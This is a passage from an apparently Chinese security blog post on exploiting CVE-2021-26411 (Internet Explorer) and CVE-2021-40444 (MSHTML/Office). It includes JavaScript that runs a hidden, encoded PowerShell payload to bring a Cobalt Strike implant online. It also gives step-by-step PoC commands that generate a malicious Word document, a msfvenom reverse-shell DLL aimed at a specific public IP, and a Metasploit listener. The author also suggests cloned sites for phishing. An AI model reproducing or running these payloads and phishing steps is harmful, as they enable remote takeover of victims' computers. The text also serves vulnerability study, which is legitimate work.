style="box-sizing: border-box;color: rgb(0, 0, 207);font-weight: bold;">5</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);font-weight: bold;">])</span></pre>
复制代码
3.1.6 实战利用既然可以通过IE远程执行cmd命令,那么也就可以通过cmd调用powershell command上线CS,话不多说试一下(这里没有做免杀)
- // 调用API,利用cmd执行net user命令
- var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
- var WinExec = getProcAddr(kernel32,'WinExec')
- call2(WinExec,[newStr('cmd.exe /k powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMAFYAWABhADQALwBpAE8AaABMADkAMwBQAHkASwBmAEcAZwBKAG8AcQBHADUAUQBLAEEAZgBzAHgAcABwAGsAawBBAGcAUQBOAEoAQQBlAEgATgBSAHkAOQBnAG0AaABNADYATAB4AEMARwBFAE8ALwBQAGYAdAB4AEsAZwBiADgAOQBPAHoAKwA1AEkAdQA0AHMAVQA0AGQAaABWADUAYQBwAFQAeAArAFcASwBRAGQAbQBkAHcAUQBJAEwATQA4ADAAagBsAEwAdQBiADAAQwBDADAAUABKAGUAcgA1AG4ASwAzAEQAVQA5AGwAMwBCAGYAdQBhAHoANgAzAGkAVgB6AE0AMAB1AGwAMAA4AEcASgBTADkAdQBJAEgASABuADUAQgBoAEEAUQAwAEQATABtAC8AYwBqAGQAOQBGAEMAQwBIAEsAOQB3AGUAVQBQAEQAaQBlAEMAUwB5AGEAWgBIAEwAWABsAEoAQgBTAHEASwBBADgAagBjADMAdQBaAHQAcwBLAG4ASgBEAHQASwBFAHYATABtAEwAVwBnAGIANAA0AGwARwAwADkARQBzAEoARwBoAGEAWABvACsAdwAzAFAAUQBaAGEANwArAHYAeABaAGoAbwBLAEEAdQB1AHoAOABYAG0AcABSAEoAbwBZAGgAZABkAGEAMgBSAGMATQBDAHoAMwAzAGoAcABsAHMAYQAwAEwAdgBuADkAWQA1AGkAeAB2ADMARgAzAGIANgBVAFcAcgBhADMAUgB2AFoARgBMAEoARQBSADMAawBKAEEAbwBrAHYAUwB0AFoANgBIAFUAUgBwAEIAeQBmAEIAdABpAHgAWAB5AGYALwA2AFoANQA1AGQAMwBsAFYAVwBwAHUAWQArAFEASABSAGIAeQBSAGgASQB5ADYAcABTAEkAYgBlAGQANQA3AGoAdQBmAGIAagBoAEsAZgBGAHIASQBhAHgAWQBPAHYATgBEAGIAcwBOAEwAVQBjAG8AVgBxAGEAWgB4ADUAcgAyAGYATwBhADIAZgBmADgALwB3AGwATQB0AE4ASABFAE0AZQB2AGcAMAB5AHQAbgBuAFUASwBlAFIAagAyAEEAUgB2AHgAagBHAEcAKwB5AEMAMwBUAC8AWgBhAHIARgBmAGYAMQB6AFoAdABoADUARABMAEwAbwBTAFgAVgBaAFQAVAB3AGYASQBNAEcAQgB3AHYAVABzAE4AUgBHAEwAcgBIAHAAawBHADUAQQBMAFIAOQBDACsAbAB3AHoAegA0AE0AVABBAFcAVgBSADQASABKAFgAWAAwAEQAdgA0AEwAMwBTAHcAcQAwAGIAMgBYAFkAUgA3AEMANQAvADEAKwA2AHEAbwBOAFAANABDAHUANwB2AEsAaABYAGUASwA0AEYAVQBuAHcAVgA4ADgAYwBLAEoAMwA0AEYARAB5ADMAaAB6AE4AZwBmAGgALwBPAFQAOQBPADMATAB4ADgAUAB1AEoAWQBIAHoAdQBlACsANABEAHEAaABKAHEAVQB4AE0AeAArAHMASQBBADMAMwBkAGMAegBkADMAYwBMAEwATQBoAGgAWABnAEsAZgBTACsAMABNAHIAMAB2AFgATABuAEkAYQBlAEEARQBZAGwANgBRAHAATwBrAGMAQgBSAEgAbABWADMALwBuADUANwB6AHQAVgBUAE0AcwAvAHQASgBRADUAYQBwADEAMABUAG0AbgA1ACsAegBIAEYAMgA0ADUAOABTAHkAeQB5AHQAMwB3AHUAUQB0ADcAMAB2AG0AWABkAFcAVABaAGgAQQBiAHAAKwBxADkAUABRADQATgB1AEwASgBjADIARQBoAGMANQBGAHIANABTAHYAdgBCAFIAegB1AGoARwBwAGgAawBlAHAAYQB1AFkARABuADQAVwA4AHAAYwBGAFMAaABvAFgAZABQAEkAcABvAE0AdQBmADEAWgBxAE8AeABkADUAMABwAGIATgB6AEkAbwBhADgAaAArAEEAVgBVAEkATAAvADAAWgBsAHoARABnAHQANQAxAGQAVwBvAEEALwBpAGQAMwA0AEcAbQB0AHgAcwA0AFoAdgBRAHEAZgBUAGwAYQB5AFgAWAAzADkARAAzAGwAcwBtAHkAagBNAEMAeAB5AC8AUQBqAE8ATwBTADUAeQBCAGsAVQAyAEoAVQBWAE8AZABFAFAAcgBzAGkAUgBHAHoATQB1AEcAKwBiAC8AZAAxAFMASwBiAFcAUgBpAEYANwBHAHAAdQB4AFgAOABBADYAVwBWAHIAMgBYAFAAaAB4AEUAUQBZAHMAZwBzAHcAagBBAHkAZgBZAGcAdgBaAEsAUwBwAEYAcgBtADAAUgBLAGkAVwBHAFoAVgA1AGQAeQBIACsASQBpAFkAeABzAEcANAA0AGMAVwBEAHAAQQBUAG0AQQBtAHgAYwBKAGcASwBXAGMAQwBVAHYAeABYAGYAdgBBAGwAZwB6AEwAVgA4AFcAMwBxAGcASABSAFcAaABSAFEAYgBtAFYAQgB6AEwAaQBjAHEAbwB4AHMAeQBLAGMAbgAvAEcANwBlAHYANQArAFIAOABLAEYASwBzAHIAaQBDADkAYwB4AG8ASQBZAE4AZwBlAEsAMwBJAFQASwAyAEIAUQAxAC8ATABGAG4ANABqADMAMwA3AG4AMwBZADQAbgA1AHcAVQAwADUAbwBKAGQARQBGAHIASwBEAHUASgBRAFMAbABoADYAWABUAEIASwBuAGwAOAB1AFgATgB5AHcAegA1AEEASQBHAHEAQwBtAEIANQAwAGcAbwBwAFAAYwAxAEkAeQB0AGoAaABiAHoAdwBHAE8AMwBWAFIATgBzAE4ANwBvAE4AVwA4ADYAQwAwADkAKwAzAG0AQwBKADQARABQAE0ASgBlAGEAZgBaADYAbgBhAEUAdgBEAFgAdQA0AEcAVAAzADMAMgArAFgATwBSAGgAMAA4AE4AbQBwAFIASABLAG4AUgBTAEMAbwBMAFMAaABuAGsAVAB2AHQAVwBjADYATQBlAG4AcgAxADUASgBYAEoAcQBGAGUASwByAEIAeAAzAG0AdwBvAGQAOQBPADIAeQBvAGgANABiAFkAcgB1ADQAOQA1AGQANgAwAG4AaQA1ADIAegB2AHEARABkAFYAeABaAHoAMQBUAGwAWQBkADEAUwBhAHUAMQBKAHEASwBUAHkAYgBmAFUAZwBLAFgAdgA1AHkAWQBQAHgASAArAHAAQgA5AGoAcQBnADkAMwBqAHYAdQAxAEoATQBhAHIAVABaAHUAYQBlAHoASABvADQARgA5AGsAaQBSAGUAVQB5ADYAawAwADkARwB1AGQASwBhAEoASABwAHYAMAB2AFIAMQB3AHkAVwA5AGQAVwBXAGcAZABQAFIAVAB0AGMAbQBPAFoAZABJAGUAbABrAGsAegBYAEoARABKAHYAaQBuADAAMQAxADAAZgA0AGwAUQBGADAANwBoADMATwA0AGwAaABTAEEAbAArAGoAUgA3ADYAcwByAGIARABiAGIAMQBIAHUAdgB2AEgATwBqAGwAVgBFADAAVwB2AEEAUQA1AEgASQA5AEcAMgA4ADMAdAB5AHgARABNAGwAeABqAE8AOQBsADcAVABuAGUAZwB2AHMANwBxAE8AcABXAFcAdAByAGgAZwBDADIARABYAEsATQB5AFQAaAA4ADcAbwB6AFkAWABPAGcAagBwADUAWQBrAGIAawAxAFcAZAArAHEAeABoADMAMAAyAG0AWABYAHUAQQA1AFQASQBmAHMAKwBpAGEAMgBuAEQAVQB0ADEATwBiADIARgAyAG4AcAByAHMANwBKADkAaABEAEIATQBDAHQAdQAzADIAcQBOAEUARgAyADYANgBzAGEAWgBBAEwAVgBGAGYAbwBHAEcAUwA2AG8AUQBXADIASABvAE8AOQBhAG0AbQA3ADUASAA2AEgAQgBUADMAVwBsAEQARwBwAGcAMgAvAFQAdABkAGcANQBTAFkANQB1AFkAYwBHAGMAYgBRAFMAOQBUAG8ALwB6AG0AUwB6AG8AVAAvAEoAMgBhAE0ANQBGAGIAegB3AHoAaQBZAE0AYwB5AGMASwBEAGUAawB5AHEASABiAGEAbwBkAG8ANgBMAHUARwA2AHQAWgAyAFIAUABwAHYANgBSAHUATwBJAHoAcQBTADUAaQBFAHQAZAB0ADUARAB3ADUAbwBrAGsAQwB1AFIAVgAyADEATwBNAGkARgBGADIAdABwAFEAcQBMAHcAZABCAHUAUABzADkAZgBoADYAMwBSAEIAQwAvAEUAYQBsADIAYgBqAHYAMwArAHEASwB4AHEAaQBsAGsAZQBpAFQARQBUAFIAOAAzADYAYQBHAEMAVAA3AG0ARAA4ADEARwBxAEoAZQBvAFIAYgB2AGkATQBlAFAAYgAxADUATgBCAHMARQA4AGoARQBzAEgAOABkAGoAVQBXAGMAawAxAGkAYQBOAG8AVABvAFgAaABXAEYASQBwAFAARQBNAFoASQBYAHgAMgBHADgAUABYAHkAdQB6AGgAagBUAFAANQBOAGQATwA1AHoAQgB2ADIAYgBGAHMAMQBmAHkAcgBEAC8ATgBxADUAMABRAGwAOABnAGMAVwA3AEEAZABsAGkAMwB0AFkASwBIAGUAVgBsAG0AUgBDAGoARgBTAHEATAB2AGIAegBWAHUAZgBZAGMAQwBWAGgANwBsAFQAYwB1AGEAdQA0AEQAYQBmAEQAUwBOAFcAdgBJAEYAZQBwAFkAcgBFAHUATABHAEMAdAA0AFUAegAyADYAKwBwAGMAbABxAHEAaABpAHUATABYAG4AZQBMAEUATQBvADQAWAB1ADcAbQByADEAeABUAGgANgBVAFIAbgA0AFYAUwBKADIAVwBrAHoAOABNAGIAegBsAHQAaABWAGcASQBzAEwAeAB6AGYAbgBiAHYATQBaAHQANABtADEAbgBoAEkATABUAC8ARQB6ADcAQwBFAGcAZAA3AEwASABzADAAWABjAGMASQBtAEQAMgAvAGgANQBNAGYAVQBQAEMAMQBOAHQAbwAzAGcAYgB5AE0AYgAvAFAAeQBkAHoANABIAG0ANQBqAGkAUQBDAFAARABXAG0AZQBrADgAOQBBAFoALwBMADQAVQA2AHQAYQBqAHYAUwBaAEEAOQBiAG8AZABFAEMASABzAFkATwA4AEEAVgA0AFoASAAxAHkATwAvAEUAKwBCAEoANABtAFcAawBOAE4AOQBKAFMAcgBSADQAWQBDAEsAZQBOAHEAWgBXAFAAdgA1AFkARgBWADYANgA1ADMAawAzAEQAeABVAE4ATwBpAHIAcwBCAE8AdQBMAGwAVgBSADQAMABoAGgAawBjAGQASwBHAEoANQBvAGkAUwBaAHIAVgAxAGEAagBUAFoAZQBBAFAAMwBGAE0AYgAyAHoALwA4AEgAQgAvADUAMwBOAHUATABkADYAQQAxAFUARwBDAGwAZwA2AC8AKwBrAFQAbgA5ADcANwBiAHkAdgBMADIAKwBQAHEAMgBxAGUAOQB2AGQAKwB0AGoAMgBCAE4AcQBLAGUAMQBLADEAcwA1AG8ASABjAFYANgAxAGYATgBqADQAYQBDAGMASQB0AHMAcQBHAFQAUQB3AEYAeQB2AEgAOABVAEwAbABFAHMAYgAwAHYAZQBzAFYASwBOAFEAKwBMAGgAegBmAHEAVwBCAFMAMgAzAG8ASwBxAEgAdgB2AEIAWgB0ADAAYgBZADkAbgBEAFoATwB2ACsAaABnAG8ASQAwADcATgAxAGMAcgB1AEoAegBHAE0AQgBTAHEASAA0ADUANAA3AGsAMABRAHUAcQBWAHoAVABPAHQAbwBzADgAbQBhAGkAMAB1AEUAMQB4ADcAcgBLAHYAagA1ADgAdwBMAEMASwA3ADQARABzAFUAZABkAGsAMgAyAEwAWABQAGsAbwBsAE0AdgBsADkATAA5AFcANQBuAE8ALwBEADQAdgBzACsAVQBuAGgAegBWAHcAeABiAGEANwBlAGUAZgBKACsASgB6AHYAYgBpAGIAKwBnAEgAMABTAHUAUQAvACsASABDAGYAaABoADAALwA4AE0AYgBRAHAAZQAxAHAAKwA5AFEAWgBjADUAOQBEAEYAZQBmAEMANwAvAE4AWgBkAFQATgA5AHkANwArAGQAQQA2AHcAZABjAEgAMwBYAE8AUABHAGYAZABDAG8ARABtADcAMgAzAGwAcgArAEYAVABKADcAdAA3AEMATABlAEkANQB0AFQAbgBqAGIAaABIADMAbgBiAHUARAA4AE0AUgBRAHEATQBMADMAUwBtAEIARwA2AFUAWABNAG4AVAArAC8AdgBuAEUAeABzAHMANgBLADMANwBnAGgAeABSAFQAYQA1ADcAdQBPAHQAdwBhAFcAVQB1AGkAbgBVAHQATwBaAGsAVgBRAFkANQB2ADQASgBEAGwANABaAEEAcwA4AE4AQQBBAEEAPQAiACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA=='),5])
复制代码
 
成功上线
这是不是也可以算是一种新型的钓鱼方式呢,克隆目标网站;给克隆的站新增一个弹框提示网站只允许IE浏览器打开,这样就可以利用CVE-2021-26411漏洞来进行CS上线了
3.2 CVE-2021-40444(IE浏览器代码执行)3.2.1 漏洞简介Microsoft MSHTML 远程代码执行漏洞,攻击者可通过制作恶意的 ActiveX 控件供托管浏览器呈现引擎的 Microsoft Office文档使用,成功诱导用户打开恶意文档后,可在目标系统上以该用户权限执行任意代码。微软在通告中指出已检测到该漏洞被在野利用,请相关用户采取措施进行防护。
MSHTML(又称为Trident)是微软旗下的Internet Explorer 浏览器引擎,也用于 Office 应用程序,以在Word、Excel 或 PowerPoint 文档中呈现 Web 托管的内容。AcitveX控件是微软COM架构下的产物,在Windows的Office套件、IE浏览器中有广泛的应用,利用ActiveX控件即可与MSHTML组件进行交互。
3.2.2 影响范围影响的版本非常广,可以看到,基本上windows全系列都受到这个漏洞的影响。其载体是ActiveX控件,该控件可以通过Office 的word、Excel、PowerPoint或IE等来加载。
- Windows Server, version 20H2 (Server Core Installation)
- Windows Server, version 2004 (Server Core installation)
- Windows Server 2022 (Server Core installation)
- Windows Server 2022
- Windows Server 2019 (Server Core installation)
- Windows Server 2019
- Windows Server 2016 (Server Core installation)
- Windows Server 2016
- Windows Server 2012 R2 (Server Core installation)
- Windows Server 2012 R2
- Windows Server 2012 (Server Core installation)
- Windows Server 2012
- Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
- Windows Server 2008 for x64-based Systems Service Pack 2
- Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
- Windows Server 2008 for 32-bit Systems Service Pack 2
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows RT 8.1
- Windows 8.1 for x64-based systems
- Windows 8.1 for 32-bit systems
- Windows 7 for x64-based Systems Service Pack 1
- Windows 7 for 32-bit Systems Service Pack 1
- Windows 10 for x64-based Systems
- Windows 10 for 32-bit Systems
- Windows 10 Version 21H1 for x64-based Systems
- Windows 10 Version 21H1 f
复制代码
3.2.3 利用条件- //IE利用条件
- Internet Explorer 中启用ActiveX控件和插件
- //office利用条件
- office(Word、Excel、PowerPoint)可以直接利用
复制代码
3.2.4 漏洞复现从Github上找了一份POC
- <pre>https://github.com/lockedbyte/CVE-2021-40444
- </pre>
复制代码
漏洞利用之前要先安装lcab库- wget http://ftp.debian.org/debian/pool/main/l/lcab/lcab_1.0b12.orig.tar.gz
- tar zxvf lcab_1.0b12.orig.tar.gz
- cd lcab-1.0b12
- ./configure
- make
- sudo make install
复制代码
能够执行lcab就安装成功了
将Github上的poc上传到服务器下

执行下面这个命令
- python3 exploit.py generate test/calc.dll http://vps的ip:8088
复制代码
可以看到其利用的是test/calc.dll这个生成好的dll,其实我们可以生成自己的dll
 
可以看到在/out/目录下生成了一个document.docx的文件,这个就是主要的用来执行命令的恶意文件。
 
开启http服务
- python3 exploit.py host 8088
复制代码

将生成的document.docx拷贝到靶机,双击打开,可以成功弹出计算器

可以看到其是远程加载word.html文件

看一下服务器上记录的日志,如下所示:
 
3.2.5 POC分析将刚才生成的document.docx解压以后可以看到其文件结构:
 
在word/_rels中有个document.xml.rels的文件,其内容中有调用的url
 
 
在这里调用了word.html文件,这样的话我们也可以直接利用IE浏览器来访问相关的URL,不过IE默认拦截,需要手工启用才行,启用以后相关截图如下所示。
 
直接使用IE浏览器访问word.html,也可以成功命令执行
 
3.2.6 MSF上线生成DLL文件
- <pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=110.40.137.64 LPORT=2345 -f dll > 2.dll</pre>
- <p><span aria-label=" 图像 小部件" class="cke_widget_wrapper cke_widget_inline cke_widget_image cke_image_nocaption cke_widget_selected" data-cke-display-name="图像" data-cke-filter="off" data-cke-widget-id="429" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><img alt="" class="cke_widget_element" data-cke-saved-src="https://img-blog.csdnimg.cn/951e09f806b544dd9ebad9d21faa9074.gif" data-cke-widget-data="%7B%22hasCaption%22%3Afalse%2C%22src%22%3A%22https%3A%2F%2Fimg-blog.csdnimg.cn%2F951e09f806b544dd9ebad9d21faa9074.gif%22%2C%22alt%22%3A%22%22%2C%22width%22%3A%221%22%2C%22height%22%3A%221%22%2C%22lock%22%3Atrue%2C%22align%22%3A%22none%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="image" src="https://img-blog.csdnimg.cn/951e09f806b544dd9ebad9d21faa9074.gif" width="1" height="1"><span class="cke_reset cke_widget_drag_handler_container" style="background:rgba(220,220,220,0.5);background-image:url(https://csdnimg.cn/release/blog_editor_html/release1.9.5/ckeditor/plugins/widget/images/handle.png);display:none;"><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" draggable="true" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span><span class="cke_image_resizer" title="点击并拖拽以改变尺寸"></span></span></p>
复制代码
环境配置
- python3 exploit.py generate test/calc.dll http://x.x.x.x
- python3 exploit.py host 80
复制代码
 
设置监听
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
复制代码
 
成功反弹shell
 
|
|